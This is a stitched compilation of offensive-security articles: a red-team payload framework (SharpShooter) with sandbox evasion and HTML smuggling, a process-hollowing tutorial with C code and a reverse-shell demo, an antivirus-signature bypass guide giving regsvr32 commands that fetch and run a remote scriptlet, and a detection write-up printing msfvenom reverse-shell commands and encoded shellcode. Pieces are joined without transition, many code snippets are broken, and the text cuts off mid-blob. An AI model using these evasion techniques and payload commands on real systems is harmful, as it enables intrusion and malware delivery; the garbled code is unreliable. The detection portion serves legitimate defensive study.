endpoint defences. This led to the development of an in-house payload generation framework
we named SharpShooter. After using this framework with great success across a number of
engagements, we have opted to release the tool.
HTA
JS
JSE
VBA
VBE
VBS
WSF
The created payloads can be used to retrieve, compile and execute arbitrary C Sharp source
code. SharpShooter payloads are RC4 encrypted with a random key to provide some modest
anti-virus evasion, and the project includes the capability to integrate sandbox detection and
environment keying to assist in evading detection. SharpShooter targets v2, v3 and v4 of the
.NET framework which will be found on most end-user Windows workstations.
Aside from traditional anti-virus, SharpShooter has had success in bypassing “advanced
endpoint protections” such as Palo Alto Traps and Bromium Isolation Analysis (where policy
permits execution).
SharpShooter supports both staged and stageless payload execution. Staged execution can
occur over either HTTP(S), DNS or both. When a staged payload is executed, it will attempt to
retrieve a C Sharp source code file that has been zipped and then base64 encoded using the
chosen delivery technique. The C Sharp source code will be downloaded and compiled on the
host using the .NET CodeDom compiler. Reflection is then subsequently used to execute the
desired method from the source code. A summary of how SharpShooter operates during
staging is shown in the diagram below:
The key benefit of staging is that it provides the ability to change the executed payload in the
event of failure or take down the payload following success to hide your implant which may
hinder an investigation from the blue team.
DNS delivery is achieved in conjunction with the PowerDNS tool that we described in our
previous blogpost. When web delivery is selected, a web request will be performed to the URI
provided through the –web command line argument.
The CodeDom provider is a powerful means of achieving extensibility and we’ve been using it
for offensive purposes, such as anti-virus evasion, for a number of years. A tweet
from @buffaloverflow noted that it has also recently been adopted by malicious actors in the
wild:
One of the benefits of using CodeDom is that it offers flexibility in payload creation; you’re not
just limited to shellcode execution but you have the ability to execute arbitrary C Sharp.
Therefore, if you want to create a VBS file that executes Mimikatz or performs process
doppelgänging, you can.
SharpShooter provides a built-in template for executing arbitrary shellcode for both staged
and stageless payloads.
Sandbox Detection
SharpShooter provides some rudimentary methods to detect whether the payload is being
executed inside a sandbox. These techniques, with the exception of the domain keying
technique, are borrowed from Brandon Arvanaghi’s CheckPlease project.
The payload will not execute if the conditions of the selected sandbox detection techniques
are met. The following techniques are available:
• Ensure Domain Joined: the payload will only execute if the workstation is domain
joined;
• Check for Sandbox Artifacts: the payload will search the file system for artifacts of
known sandbox technologies and virtualisation systems, if found the payload will not
execute;
• Check for Bad MACs: the payload will check the MAC address of the system, if the
vendor matches known virtualisation software it will not execute;
• Check for Debugging: if the payload is being debugged, it will not execute.
These techniques can be used in conjunction with each other to assist in avoiding detection.
To create a payload with one of these techniques, use the –sandbox argument followed by a
comma separated list of techniques to apply. For example –sandbox 1=CONTOSO,2,3.
A common tactic used by defenders is to prevent potentially malicious files from entering the
environment at the perimeter. This is often implemented using extension, content type or
content filtering on the perimeter proxy/gateway. A powerful solution to evading this
inspection was documented by Rich Warren and involves encrypting your payload then
embedding it inside a HTML file. The payload is decrypted on the client-side using JavaScript.
Consequently, the perimeter inspection will only every see a HTML file with the text/html
content-type.
SharpShooter optionally uses this technique to embed its payloads and provides 2 sample
templates for use. SharpShooter’s implementation is almost directly borrowed
from @Arno0x0x’s EmbedInHTML tool.
To create a payload that uses HTML smuggling, use the –smuggle argument with the –
template argument to select a template, e.g. –smuggle –template mcafee.
SharpShooter by Example
When executing the targeting phase of a simulation, we would often look to disclose as much
version information about the client-side software as possible so it can be replicated in our lab.
One of our tactics for achieving this is through benign phishing; that is our phishing e-mails
typically don’t contain any specific payload but are engineered to trigger call backs to our
infrastructure. One such method is through externally hosted images, for example including
the following in a HTML phishing e-mail will trigger a connection to download the image from
the user’s mail client assuming they select the option to download remote images:
In the case of Outlook, this may cause a User-Agent similar to the following to be sent to the
server:
There are several key pieces of information disclosed here, the most relevant for SharpShooter
payloads is that the target is using a 64-bit operating system with a 32-bit Microsoft Office
installation, as indicated by the WOW64 string, and the version of the .NET CLR installed.
Similarly, we may also try to social engineer users in to opening a site under our control and
obtain the same information from the user’s browser, as shown in the example below from a
Widows 8.1 x64 host:
[code]Mozilla/5.0 (Windows NT 6.3; Win64, x64; Touch) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0 (Touch; Trident/7.0; .NET4.0E;
.NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPNTDFJS; H9P;
InfoPath[/code]
Where possible, our operators will also attempt to elicit as much information about the
internal Active Directory as can be feasibly obtained without breaching. Amongst others,
common tactics include reviewing the disclosure of FQDNs from sources such as mail headers
of perimeter services.
For example, mail headers may disclose something similar to the following:
Similarly, if we observe the target to have a perimeter Skype for Business server, we can find
the domain name from the X-MS-Server-Fqdn header, as shown below:
[code]X-MS-Server-Fqdn: S4BLYNC.contoso.com[/code]
Armed with this knowledge, we can begin to craft a SharpShooter payload that is keyed to our
target environment; i.e. nothing malicious will happen unless the payload is executed on a
CONTOSO joined member system.
If we wanted to create a JavaScript payload, that would attempt to retrieve the C Sharp
payload through both DNS and Web delivery, we might use something like the following
command line options:
This configuration will key our payload to the CONTOSO domain using the –sandbox 1=contoso
argument. The target environment supports .NET version >=3.5 therefore we can give our
payload a better chance of success by specifying the correct .NET version using the –dotnetver
2 argument.
In the above example, shellcode is read from the “csharpsc.txt” file. If we wanted to execute
shellcode compliant with Cobalt Strike’s beacon or Metasploit, you could generate this by
selecting “Packages > Payload Generator > Output C#” in Cobalt Strike, or using the following
msfvnom command:
SharpShooter will have created 3 separate files in the output directory, foo.html, foo.js and
foo.payload. A brief explanation of what each of these files is, is provided below:
foo.js is the JavaScript payload that the user will eventually execute. It contains a base64
encoded, rc4 encrypted blob which is decrypted in-memory, on execution. The decrypted
payload is the DotNetToJScript code that contains the SharpShooter .NET serialised object. If
you are using HTML smuggling, this file does not need to be sent to the user, it’s provided
purely for information and debugging purposes.
foo.html is the HTML file that we will ultimately coerce the user in to opening by whatever
means. This file contains the encrypted copy of foo.js which is decrypted using JavaScript then
served to the user using the navigator.mssaveBlob technique.
foo.payload is the C Sharp source code that will be retrieved, compiled and executed on the
target host. In this case, the file contains a harness that will execute the supplied shellcode.
The source code file is zipped then base64 encoded. The file should be hosted at the
URI http://www.foo.bar/shellcode.payload and on the foo.bar domain with PowerDNS
running, as per the supplied command line arguments.
The foo.html file is ultimately what we would send to the end user either via an email
attachment, or by coercing them in to opening a phishing link. When opened, the user would
see something similar to the following due to the McAfee template being selected:
If the user does click to open the JavaScript file, the shellcode should be executed and the
implant returned.
Detection
Part of being a good red teamer is understanding your tools and their indicators. This not only
helps you provide better advice to the blue team and your clients but will also help you build
better tools.
When developing SharpShooter we were keen to understand what indicators were created on
the host. The one that surprised us most was how the .NET CodeDom provider worked. Having
used this technique successfully in the past, we were working on the premise that the source
code was compiled in memory. This assumption was also a key influence on our design choice
for the tool as generally we prefer to remain memory resident during adversary simulations.
When creating a new CodeDom provider, it is necessary to supply the compiler parameters;
one of which is the Boolean CompilerParameters.GenerateInMemory property, which of
course is set to true in SharpShooter. This is however somewhat misleading as we discovered
while monitoring the process execution and we quickly came to realise that we had
misunderstood the effect of this property. The reality is that when WScript.exe or the
equivalent scripting engine is executed, it in turn executes the csc.exe compiler that’s bundled
with the .NET framework:
This consequently means that the C Sharp source code is saved to disk in the user’s Temp
folder. The compiler is then executed on the command line, reading the arguments from a file
also saved to disk:
As a result, it is vital to ensure that source code remains safe from anti-virus signatures; this of
course is relatively trivial to achieve.
The stageless shellcode execution does not however leave these indicators as it does not use
the CodeDom provider; the serialised .NET object directly executes the shellcode itself.
Another indicator that you should be aware of is when using staged DNS payloads. As .NET <=
v4 does not contain a native DNS library for performing TXT record lookups, to maintain
compatibility across versions the records are retrieved by iteratively executing nslookup.exe to
read the C Sharp source code:
Process Injection
Introduction
Process injection is a camouflage technique used by malware. From the Task Manager, users
are unable to differentiate an injected process from a legitimate one as the two are identical
except for the malicious content in the former. Besides being difficult to detect, malware using
process injection can bypass host-based firewalls and specific security safeguards.
There are various legitimate uses for process injection. For instance, debuggers can use it to
hook into applications and allow developers to troubleshoot their programs. Antivirus services
inject themselves into browsers to investigate the browser’s behaviour and inspect internet
traffic and website content.
Process injections are techniques; they can be used for both legitimate and malicious
purposes. Because process injections are well-suited to hiding the true nature of action, they
are often used by malicious actors to hide the existence of their malware from the victim.
Some of the malicious activities that such actors can hide using process injections include data
exfiltration and keylogging. Often, victims fail to realise that malicious files have been
uploaded simply because the malicious processes are masked to look like innocuous ones.
Process Injection Techniques
While process injection can happen on all three major operating systems — Windows, Linux
and MacOS — this article will be focussing on Windows.
A Dynamic Link Library (DLL) file is a file containing a library of functions and data. It facilitates
code reuse as many programs can simply load a DLL and invoke its functions to do common
tasks.
DLL injection is one of the simplest techniques, and as such, is also one of the most common.
Before the injection process, the malware would need to have a copy of the malicious DLL
already stored in the victim’s system.
Step 1: The malware issues a standard Windows API call (OpenProcess) to attach to the victim
process. Due to the privilege model in Windows, the malware can only attach to a process that
is of equal or lower privilege than itself.
Step 2: A small section of memory is allocated within the victim process using VirtualAllocEx.
This memory is allocated using “write” access. The malware will then issue
WriteProcessMemory to store the path of the DLL to that memory location.
Step 3: The malware looks for the address of the LoadLibrary function within the victim
process’ space. This address will be used in Step 4.
Step 4: The malware calls CreateRemoteThread, passing in the address of LoadLibrary found in
Step 3. It will also pass in the DLL path that it created in Step 2. CreateRemoteThread will now
execute in the victim process and invoke LoadLibrary, which in turn loads the malicious DLL.
When the malicious DLL loads, the DLL entry method, DLLMain, will be invoked. This will be
where malicious activities will take place.
A Portable Execution (PE) is a Windows file format for executable code. It is a data structure
containing all the information required so that Windows knows how to execute it.
Step 1: The malware gets the victim process’ base address and size.
Step 2: The malware allocates enough memory in the victim process to insert its malicious PE
image.
Step 3: As the inserted image will have a different base address once it is injected into the
affected process, the malware will need to find the victim process’s relocation table offset
first. With this offset, the malware will modify the image so that any absolute addresses in the
image will point to the right functions. Once the malicious PE image has been updated, the
malware copies it into the process.
Step 4: The malware looks for the entry function to be executed and runs it using
CreateRemoteThread.
Unlike the first two techniques, where malware injects into a running process, process
hollowing is a technique where the malware launches a legitimate process but replaces the
process’ code with malicious code. The advantage of this technique is that the malware
becomes independent of what is currently running on the victim’s system. Furthermore, by
launching a legitimate process (e.g. Notepad or svchost.exe), users will not be alarmed even if
they were to look through the process list.
Step 1: The malware creates a legitimate process, like Notepad, but instructs Windows to
create it as a suspended process. This means that the new process will not start executing.
Step 2: The malware hollows out the process by unmapping memory regions associated with
it.
Step 3: The malware allocates memory for its own malicious code and copies it into the
process’ memory space. It then calls SetThreadContext on the victim process, which changes
the execution context of the process to that of the malicious one that was just created.
Step 4: The malware resumes the process; thereby executing the malicious code.
The Windows Registry is a hierarchical database that stores information required by Windows
and programs in order to run properly. The registry stores information such as customisation
settings, driver data and startup programs.
The two keys, Appinit_Dlls and AppCertDlls, that malware use for both injection and
persistence can be found here:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
HKLM\Software\Wow6432Node\Microsoft\Windows
NT\CurrentVersion\Windows\Appinit_Dlls HKLM\System\CurrentControlSet\Control\Session
Manager\AppCertDlls
While managing to add their entries in the registry has far reaching effects, modifying the
values of these keys requires the malware to have administrative rights.
Appinit_DLL
The Appinit_DLL registry key allows custom DLLs to be loaded into the address space of every
application. This allows software developers an easy way to hook onto system APIs defined in
user32.dll that will be used across every application. User32.dll is a system DLL that many
graphical applications will import as it contains functions such as controlling dialog boxes or
reacting mouse events.
Malware that successfully registers their malicious DLLs in this key will be able to intercept
system API calls for every graphical application for nefarious purposes.
To mitigate abuse, Windows 8 and later versions with secure boot enabled have automatically
disabled this mechanism. Microsoft does not allow developers to attain certification for
applications that rely on this in a bid to discourage developers from abusing this key.
AppCertDlls
This is similar to Appinit_DLL; malware that manages to add their DLLs to this registry key will
get to be imported by any application which calls functions like CreateProcess,
CreateProcessAsUser, CreateProcessWithLogonW, CreateProcessWithTokenW, and WinExec.
The Shim infrastructure, provided by Microsoft for backward compatibility, allows Microsoft to
update system APIs while not breaking applications. It does so by allowing API calls to be
redirected from Windows to an alternative code — the shim.
Windows comes with a Shim engine which checks a shim database for any applicable shims
whenever it loads a binary. Malware can install their own shim database on to an affected
program, and the Shim engine will load the malware’s DLL whenever the program is run. The
malware can then intercept any calls that the program makes.
Process Hollowing in C#
Fundamental concept is quite straightforward. In the process hollowing code injection
technique, an attacker creates a new process in a suspended state, its image is then unmapped
(hollowed) from the memory, a malicious binary gets written instead and finally, the program
state is resumed which executes the injected code. Workflow of the technique is:
• NtUnmapViewOfSection()
• SetThreadContext()
• ResumeThread()
Programmatically speaking, in the original code, the following code was used to demonstrate
the same which is explained below
An adversary first creates a new process. To create a benign process in suspended mode the
functions are used:
Following code, snippet is taken from the original source here. An explanation is as follows:
• These two pointers are required by CreateProcessA function to create a new process.
• CreateProcessA creates a new process and its primary thread and inputs various
different flags. One such flag being the CREATE_SUSPENDED. This creates a process in
a suspended state. For more details on this structure, refer here.
• Finally, if the pProcessInfo pointer doesn’t return a handle, means the process hasn’t
been created and the code ends.
printf("Creating process\r\n");
CreateProcessA
0,
pDestCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if (!pProcessInfo->hProcess)
return;
We have to know the base address of the created process so that we can use this to copy this
memory block to the created process’ memory block later. This can be done using:
NtQueryProcessInformation + ReadProcessMemory
Also, can be done easily using a single function:
• Read the NT Headers format (from the PE structure) from the PEB’s image address.
This is essential as it contains information related to OS which is needed in further code. This
can be done using ReadRemoteImage(). pImage is a pointer to hProcess handle and
ImageBaseAddress.
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
• Unmapping
After obtaining the NT headers, we can unmap the image from memory.
• HMODULE obtains a handle hNTDLL that points to NTDLL’s base address using
GetModuleHandleA()
• Create NtUnmapViewOfSection variable which carves out process from the memory
hNTDLL,
"NtUnmapViewOfSection"
);
_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
Now we have to map a new block of memory for source image. Here, a malware would be
copied to a new block of memory. For this we need to provide:
• A handle to process,
• Base address,
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pSourceHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
Step 4: Copy this new block of memory (malware) to the suspended process memory
Here, section by section, our new block of memory (pSectionDestination) is being copied to
the process memory’s (pSourceImage) virtual address
if (!pSourceImage->Sections[x].PointerToRawData)
continue;
dwOffset += sizeof(BASE_RELOCATION_ENTRY);
if (pBlocks[y].Type == 0)
continue;
DWORD dwBuffer = 0;
ReadProcessMemory
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
);
dwBuffer += dwDelta;
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
);
Now, we’ll get the thread context, set EAX to entrypoint using SetThreadContext and resume
execution using ResumeThread()
• EAX is a special purpose register which stores the return value of a function. Code
execution begins where EAX points.
• The thread context includes all the information the thread needs to seamlessly resume
execution, including the thread’s set of CPU registers and stack.
pContext->ContextFlags = CONTEXT_INTEGER;
GetThreadContext(pProcessInfo->hThread, pContext)
SetThreadContext(pProcessInfo->hThread, pContext)
Finally, we need to pass our custom code that is to be replaced with a genuine process. In the
code given by John Leitch, a function called CreateHallowedProcess is being used that
encapsulates all of the code we discussed in step 1 through 6 and it takes as an argument the
name of the genuine process (here, svchost) and the path of the custom code we need to
inject (here, HelloWorld.exe)
strcat(pPath, "helloworld.exe");
CreateHollowedProcess("svchost",pPath);
Demonstration 1
The official code can be downloaded, and inspected and the EXEs provided can be run using
Process Hollowing. The full code can be downloaded here. Once downloaded, extract and run
ProcessHollowing.exe which contains the entire code described above. As you’d be able to see
that the file has created a new process and injected HelloWorld.exe in it.
Upon inspecting this in Process Explorer, we see that a new process spawns svchost, but there
is no mention of HelloWorld.exe, which means the EXE has now been masqueraded.
NOTE: To modify this code and inject your own shell (generated from tools like msfvenom) can
be done manually using visual studio and rebuilding the source code but that is beyond the
scope of this article.
Demonstration 2
Ryan Reeves created a PoC of the technique which can be found here. In part 1 of the PoC, he
has coded a Process Hollowing exe which contains a small PoC code popup that gets injected in
a legit explorer.exe process. This is a standalone EXE and hence, the hardcoded popup balloon
can be replaced with msfvenom shellcode to give a reverse shell to your own C2 server. It can
be run like so and you’d receive a small popup:
Upon checking in process explorer, we see that a new explorer.exe process has been created
with the same specified process ID indicating that our EXE has been successfully masqueraded
using hollowing technique.
We saw two PoCs above but the fact is both of these methods aren’t beginner-friendly and
need coding knowledge to execute the attack in real-time environment. Lucky for us, in comes
ProcessInjection.exe tool created by Chirag Savla which takes a raw shellcode as input from a
text file and injects into a legit process as specified by the user. It can be downloaded and
compiled using Visual Studio for release (Go to Visual studio->open .sln file->build for release)
Now, first, we need to create our shellcode. Here, I’m creating a hexadecimal shellcode for
reverse_tcp on CMD
/path: Full path of the shellcode to be injected. Here, same folder so just “hex.txt” given
Now, a notepad.exe has been spawned but with our own shellcode in it and we have received
a reverse shell successfully!!
For our own curiosity, we checked this in our local host with defender ON and you can see that
process hollowing was completed!
In process explorer, we see that a new notepad.exe has been spawned with the same PID as
our new process was created with
And finally, when this was executed, the defender did not scan any threats indicating that we
had successfully bypassed the antivirus.
NOTE: Newer versions of Windows will detect this scan as newer patches prevent the process
hollowing technique by monitoring unmapped segments in memory.
https://www.hackingarticles.in/process-hollowing-mitret1055-012
Also, if you check Windows Defender’s protection history, you should find an entry related to
you running this command. On my system, it looks like this:
We can be pretty confident that it is Windows Defender that blocks this from running,
meaning that there is a signature for it. So how do we find out what triggers the signature? My
method involves testing this manually by removing parts of the command. Let us start out by
changing the order of the parameters to see if that makes a difference.
Setting /i before /s and /s after /u.
Same result—bummer. What happens if we try to add ^ signs or “” into the http?
Access denied again. Let us try to figure out what exactly is blocked by removing .sct and
replacing it with something else first to see what happens.
Okay, that was not the issue. What if we try to remove the different parameters one by one.
Let us start with /s and /u to see if that makes a difference.
Nope, we get the same result. Let us try to remove the domain name and file name from the
equation.
We are getting closer to a signature. Let us also try to remove the :// to see if Windows
Defender triggers on that.
It seems like we are approaching the keywords they are making the signature for. Let us try
two (2) more experiments by first changing the http to something else and then the scrobj.dll.
The theory we have now is that the signature is looking for the command regsvr32 with the
parameter /i:http and scrobj.dll in the same sentence. We can now try the old trick by making
a copy of regsvr32.exe to something else and trying the same. In the upcoming examples. I
swapped out the example.com URL with a URL
(https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32
_calc.sct) to a sct file that spawns calc.exe if it is executed.
We are now positive that the name of file does not matter—it is the combination
of http and scrobj.dll that triggers Windows Defender.
Now that we know the signature details, let us see if we can bypass the signature and get
execution.
In this attempt, we are going to try to make a copy of scrobj.dll to another name before we
attempt to execute and see if we can bypass it that way. Since we know that the signature is
looking for http and scrobj.dll, we can try to change it around by making a copy with a
different name.
And yes, this works. So that was a simple bypass. Let us try some more methods.
Commands:
Regsvr32.exe /u /s
/i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr
32_calc.sct
NothingToSeeHere.dll
BYPASS ATTEMPT NUMBER TWO
In this attempt, instead of copying the scrobj.dll file, let us try to make a link to it. What do I
mean by making a link to it? In Windows, it is possible to create something called symbolic
links. This however requires the user to be a local administrator or in the newer versions of
Windows 10 this is possible for standard users if Developer mode is turned on. In Windows you
can use the binary called Mklink.exe to create symbolic links. What it basically does is create a
pointer toward the other file. Let us give it a spin. First, we will make the link running the
Mklink command.
We now have a file that is linked to scrobj.dll. Let us now try to execute the regsvr32 attack
using this “dll” instead.
Cool, another bypass that works. Let us see if we can try another method.
Commands:
Mklink
Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe
/u /s
/i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr
32_calc.sct
Dave_LovesThis.dll
One thing that I really love to play with is Alternate Data Streams (ADS). In NTFS, there are
different streams on a file and by default we view a specific stream called $DATA. It is possible
to add additional streams to a file and add content into it. I have demonstrated this in the past
in some of my blog posts:
https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-
it/
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-
it-part-2/
Okay, let us see if we can use ADS to bypass this signature. Let us try to add the scrobj.dll into
an empty file and execute from that stream. First, we will add the data to a new empty file.
The command in the green adds scrobj.dll into a new file called Just_A_Normal_TextFile.txt in
a stream called PlacingTheDLLHere. The command in the orange is just to show you that the
file itself is empty, and as shown with the command in red, you need to supply /R to see the
streams and the size. Next, we can try to execute from that stream. Here goes.
Commands:
Type
c:\windows\system32\scrobj.dll >
Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe
/u /s
/i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr
32_calc.sct
Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Let us, in this attempt, try to put the SCT file on disk instead to see if it works that way, since
http cannot be in the command.
Command:
Regsvr32.exe
/u /s /i:c:\experiments\regsvr32\Regsvr32_calc.sct scrobj.dll
Another way you can perform this attack is to leverage Bitsadmin.exe to download the file for
you and then use regsvr32 to execute afterwards like this:
Note: that I added start in the beginning on purpose so I could show a screenshot of the code
and the calc at the same time.
Command:
bitsadmin
https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/
https://powersploit.readthedocs.io/en/latest/AntivirusBypass/Find-AVSignature/
https://github.com/hegusung/AVSignSeek
https://securityonline.info/avsignseek-determine-where-the-av-signature-is-located-in-a-
binary-payload/
Attackers can make use of Metasploit in numerous ways, as its pre-built modules can
automate a lot of the more complex aspects of malware. For example, you can use it to set up
a server listening for incoming connections - Metasploit handles all the sessions that come in
through those listeners and the only thing the attacker is left to do is spreading malware that
initiates that connection. This isn’t hard to do either, the framework is capable of generating
VBS scripts, executables, PowerShell scripts, DLLs, ELFs and more. Sending someone a word
document with embedded VBA macros and getting them to execute it is usually enough to
receive a session, assuming your antivirus doesn’t pick up on it.
Detecting Metasploit
The detection of a metasploit payload isn’t all that difficult - if you were to create a payload
with msfvenom say: msfvenom LHOST=192.168.10.10 LPORT=1337 --payload
windows/shell/reverse_tcp --platform windows --arch x86 you’d get the same result
everytime. This allows you to write a simple Yara rule for this particular payload and extract its
configuration. Unfortunately this is not the only way to generate a payload. Metasploit has
encoders which you can use to obfuscate your shellcode. They pack your payload into a self-
decrypting blob of shellcode which becomes the original one when executed.
These are (slightly) harder to detect as their x86 instructions are semi-randomized and the
decryption key is chosen at random. One of the well-known encoders is Shikata Ga Nai, which
uses a randomly generated key to XOR the instructions. The result is then used to alter the key,
i.e., it’s a rolling xor key. Detecting these encoders is not hard, they all have a certain structure
and certain CPU instruction which aren’t obfuscated. This means that the encoders are also
detectable by using basic Yara rules. The real challenge after that is decoding the payload into
a form that we can analyse further.
Our answer to this problem was building a simple, custom emulator capable of running x86
instructions. This way we’re able to detect an encoder (which one it is doesn’t really matter)
and run that through the emulator. Once we detect it starts executing memory it has written
to we know that the we’ve decoded a layer of obfuscation and, in the case of Metasploit, that
either another layer of obfuscation is coming up or that we’re looking at a Metasploit payload.
We’ve built a software implementation of the x86 instruction set, much like how an emulator
works for old consoles or computers. The only thing standing out here is that we’ve build an
x86 emulator to run on x86 hardware. The reason for that is security, we have potential
malware that we want to analyze “statically” so having a controlled environment is a must. We
don’t want any of this code to actually run on the processor outside our sandbox
environments.
So an x86 emulator huh? That’s impressive but can it run Crysis? Well no, the x86 instruction
set has over 1500 (the actual number is a discussion on its own which we won’t get into)
instructions. It would be too much of an effort to implement all those. Especially when the
encoders we try to emulate use a very small subset of those instructions (and performance - or
lack thereof - is important, but not a road blocker). So after implementing the first version of
our emulator, we started generating different encoders and we kept adding instructions to the
emulator until we got back our expected payload.
It was hinted to above already but why not just run it in the sandbox environment and be done
with it? That’s because we also want to be able to analyze payloads statically. A piece of
malware might drop a payload that for some unknown reason can’t be executed. Or it sleeps
for a long time until it executes the payload which exceeds the duration of our analyses. There
are numerous scenarios that leave us with the payload but without the execution and that’s
where our emulator kicks in.
We first try to detect possible shellcode payloads by extracting binary blobs from Powershell
scripts and VBA macros as well as Yara rules against process samples, dropped files, and
process memory dumps and if we find something we’ll emulate it. When the shellcode jumps
back into memory it has already been through we assume it’s done with its decoding process
and dump the part of the memory the decoder has written to. That piece of shellcode is then
run through our analysis process again to see if we need another round of emulation or to
extract its configuration.
For example if we had clean shellcode generated by the command above we’d be able to
extract the following information:
"dumped_file": "revtcp86clean.bin",
"config": {
"family": "metasploit",
"rule": "Metasploit",
"c2": [
"192.168.10.10:1337"
],
"version": "windows/reverse_tcp"
]
However, if a payload is encoded by Shikata Ga Nai, for example by running the following
command: msfvenom LHOST=192.168.10.10 LPORT=1337 --payload
windows/shell/reverse_tcp --platform windows --arch x86 --encoder x86/shikata_ga_nai
then we first need to run the sample through our emulator revealing the shellcode it’s
supposed to execute:
"dumped_file": "revtcp86shik.pl",
"config": {
"family": "metasploit",
"rule": "Metasploit",
"version": "encoder/shikata_ga_nai",
"shellcode": [
"/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHR
UYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQ
kJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAq
AoKaAIABTmJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZ
XaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAAB
qAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U="
},
"dumped_file": "revtcp86shik.pl",
"config": {
"family": "metasploit",
"rule": "Metasploit",
"c2": [
"192.168.10.10:1337"
],
"version": "windows/reverse_tcp"
}
]
As you can see our Yara rules first detect the Shikata Ga Nai encoder, then automatically runs
the payload through our emulator revealing the shellcode. That shellcode is then run through
the same process of detection to end up with a decoded and
classified windows/reverse_tcp detection.
We’re also able to detect multiple layers of encoding, for example we can run the same
payload through shikata 2 times and then another time through the call4_dword_xor encoder.
"dumped_file": "revtcp86shikdouble-call4.bin",
"config": {
"family": "metasploit",
"rule": "Metasploit",
"version": "encoder/call4_dword_xor",
"shellcode": [
"29bZdCT0v+dZH1JYM8mxXYPo/DF4EwOfSv2nhqLYPBzJg5eVgGJTwsDiAD1f68X9WwiSDqKTfeO
i8iHgRd1nNL1hafwnojWUBajNn7ywRhNdwB7m0GyGNSb3ASmp5EqYlOnCOBCijjtky6WYL8IPtd
vs0mkul7IMHzQLpPRXZ2AMxFIB+tdFP+DKKafSnUUMozYFFPE3uVjXn2fpxR+OtEUr3mcXMxS6c1
z0EBtY/6VYuqdOtJ7tNFvgotycb1j4By969GqH1DKHdSvQPdfM399pBFzBxnLRKlAP9m7AopDko8
Rkm6t2FDdeVVaedTBdrjOPOvCbiqdALDtDT0NLFAg/K8PYc81jk9YLLFXzuXecV8RbtHs2bVCeLb8X
uHOmDpvsNaYAsKvZkyZ1os/Jn1i0jLmfQQCjyr91noS1K0qZVWYQbrZUBKG6dZ+4q288GOM8Cb
0FoAaIhBX7jSnlOPZQg/UUcvzjFaM6QSpj3uBExApMOLREN6t7IaOMcNMQlDshyLlevYQwazIA",
"4vU=",
"2c/ZdCT0WCvJsVa75yNoozFYGIPABANY88GdXxOHXqDj6NdF0iiDDkSZx0NoUoV3+xYCd0ycdLZ
NjUXZzcyZOewe7DgpQh1o4giwnYdFCRXbSAnKq2s4XaA1ml9lTpNHamtt81gHbNWR6MMYHhsd
XJjEaJTbeWtjpqX+cAAtWF2x4j8WvU9LcKFOmArd2x/dVJ87+T17JVibKlq6RJL+sGjHcpvkJL8k9CLI
V8btYvBqZa0H+2FO10PhsNizK3eM40NerWiUX3gEnvdDcJQNLIKpFJULT0a1W8AnZRuwz2+U7/C
Pf5ibfynwMxlwiqLmr/blbUUGq4UsFNzxzuQdlM6OGT6ZJiBn7ejbQm7uJBNGhBOB5vJbReYCCg/
mauprtY/1oaoDYEqa8CMiIC4D7dsFF+oj2zBTSyMBY4tJgTPjhq68w2dllUvt6Ffq8iA5svPH4kWJqB
WmbqFxp27Nh5S49P3beEMNbtzihJBy9Iw=",
"4vU=",
"/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHR
UYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQ
kJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAq
